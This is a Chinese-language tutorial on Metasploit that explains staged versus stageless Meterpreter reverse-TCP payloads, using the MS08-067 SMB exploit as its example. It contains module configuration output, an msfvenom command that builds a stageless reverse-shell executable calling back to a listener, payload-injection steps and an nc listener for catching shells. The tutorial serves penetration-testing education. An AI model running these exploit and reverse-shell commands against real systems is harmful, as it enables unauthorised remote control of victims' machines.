你們是否發現msf的payload中,經常會看見一對對長得特別像的兄弟?
我第一次學習metasploit的時候,可能和大家的開場方式一樣,試用08067的漏洞來攻擊一臺windows xp獲取一個meterpreter shell。那個時候幾乎沒怎么變過的使用reverse_tcp連接,但是有一天…
payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
我發現了一對雙胞胎,他們長得幾乎一模一樣,但是我從來沒有見過別人使用他的另一個小兄弟,所以這篇文章,我就想和大家聊聊metasploit payload模式背后的秘密。
我們就以這個常用的meterpreter reverse_tcp來舉例,其實這兩個payload的區別從官方介紹上的話,我們可以發現兩個比較重要的詞語來闡述他們的不同inline和stager,其實,用metasploit官方的說法來說,他們第一個payload屬于stage模式,第二個payload屬于stageless模式,那他們之間具體有什么區別呢?
我們還是使用經典的08067來介紹,下面是我們的模塊配置信息:
Stage
msf5 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.2 yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
當我們使用metasplit的ms08_067_netapi模塊之后,使用payload/windows/meterpreter/reverse_tcp模塊,并開啟一個multi/handler連接監聽著我們本機的4444端口,有了解過緩沖區溢出的同學可能都知道,攻擊者會利用軟件的某個缺陷來傳輸一段很長的shellcode來溢出目標的緩沖區,從而控制EIP指針來跳轉到我們的shellcode上,執行我們的代碼,但是這段shellcode并不能過長,shellcode過長,可能會導致覆蓋到了上一函數棧幀的數據,導致異常的發生。所以像我們攻擊者最希望就是生成一段短小精悍的shellcode啦。
像這張圖,我們攻擊機像目標靶機發送了一段shellcode,并覆蓋了EIP,導致程序執行的時候跳回shellcode的開頭,從而控制程序的執行情況,執行我們的惡意代碼,這段惡意代碼就只要干兩件事,第一件事就是向內存申請開辟一塊空間,第二件事就是回連我們的4444端口,這段shellcode為我們干的事情就好像是一個前排沖鋒的戰士,打開城墻的大門好讓更多的精兵沖進來。我們稱這段shellcode為stage0,也就是第一階段
這時,我們的攻擊機,已經開始監聽4444端口了,只要連接一成功,就會把meterpreter shell最核心的dll文件發送到靶機上
我們之前說過,當靶機運行了我們的shellcode,會在內存里面開辟一塊土地,這個地方就是為我們的metsrv留的,metsrv.dll這個文件是meterpreter的核心主件,有了他,我們才能獲取到一個meterpreter shell,當metsrv傳輸成功之后,shellcode就會把控制權轉給metsrv,metsrv這時再去請求另外兩個dll文件stdapi和priv。這個時候我們一般就會看到一個讓人振奮的提示:
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Sending stage (206403 bytes) to 10.73.151.75
[*] Starting interaction with 1...
meterpreter >
Stageless
現在我們知道了meterpreter/reverse_tcp是分階段的shellcode,并且他分階段的原因是因為在溢出攻擊的時候shellcode應該盡可能保持得更短,這個時候理解他小兄弟meterpreter_reverse_tcp就方便的多,和meterpreter/reverse_tcp不同的是,他的小兄弟meterpreter_reverse_tcp是一個不分階段的payload,我們稱之為stageless(unstage),他在生成的時候就已經將我們獲取一個meterpreter必須要用的stdapi已經包含在其中了。那這又有什么好處呢?試想一下,如果我們通過層層的代理,在內網進行漫游,這個時候使用分階段的payload如果網絡傳輸出現了問題,metsrv.dll沒有加載過去,可能就會錯失一個shell,stageless的payload會讓人放心不少默認的stageless payload只會包含stageless,所以如果想將stdapi和priv兩個組建給包含進去的華我們可以用extensions命令:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe
Another Thing
分階段的payload,我們必須使用exploit/multi/handler這個模塊使用,但是當我們想回彈一個基礎的shell的時候,其實可以使用nc來監聽端口直接回連到nc上,為了測試方便,我直接在已獲得session的機器中,注入新的payload來測試:
Target:
use exploit/windows/local/payload_inject
set payload windows/shell_reverse_tcp
set sessions 1
set DisablePayloadHandler True (這個設置是讓msf不監聽端口)
run
root:~# nc -nvpl 4444
當有時獲取到了root權限,想反彈linux shell的時候,這時meterprter的需求就不是那么高了,我們就可以使用shell_reverse_tcp(或者是bind)來生成一個stageless的bash腳本,直接使用nc來接受shell
視頻演示:
課后作業:
1.在生成一個windows/shell_reverse_tcp的時候,是否需要指定EXTENSIONS=stdapi,priv?
2.meterpreter_reverse_tcp是否可以不用exploit/multi/hander模塊,直接用nc來監聽獲取?
3.在你只有一個windows的反彈shell的時候,反悔想使用meterpreter的shell了,有什么辦法來獲取呢?
大家在留言處踴躍留言吧,記得加上自己的思考過程,have fun ^_^
REFERER:
https://xz.aliyun.com/t/1709
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode
|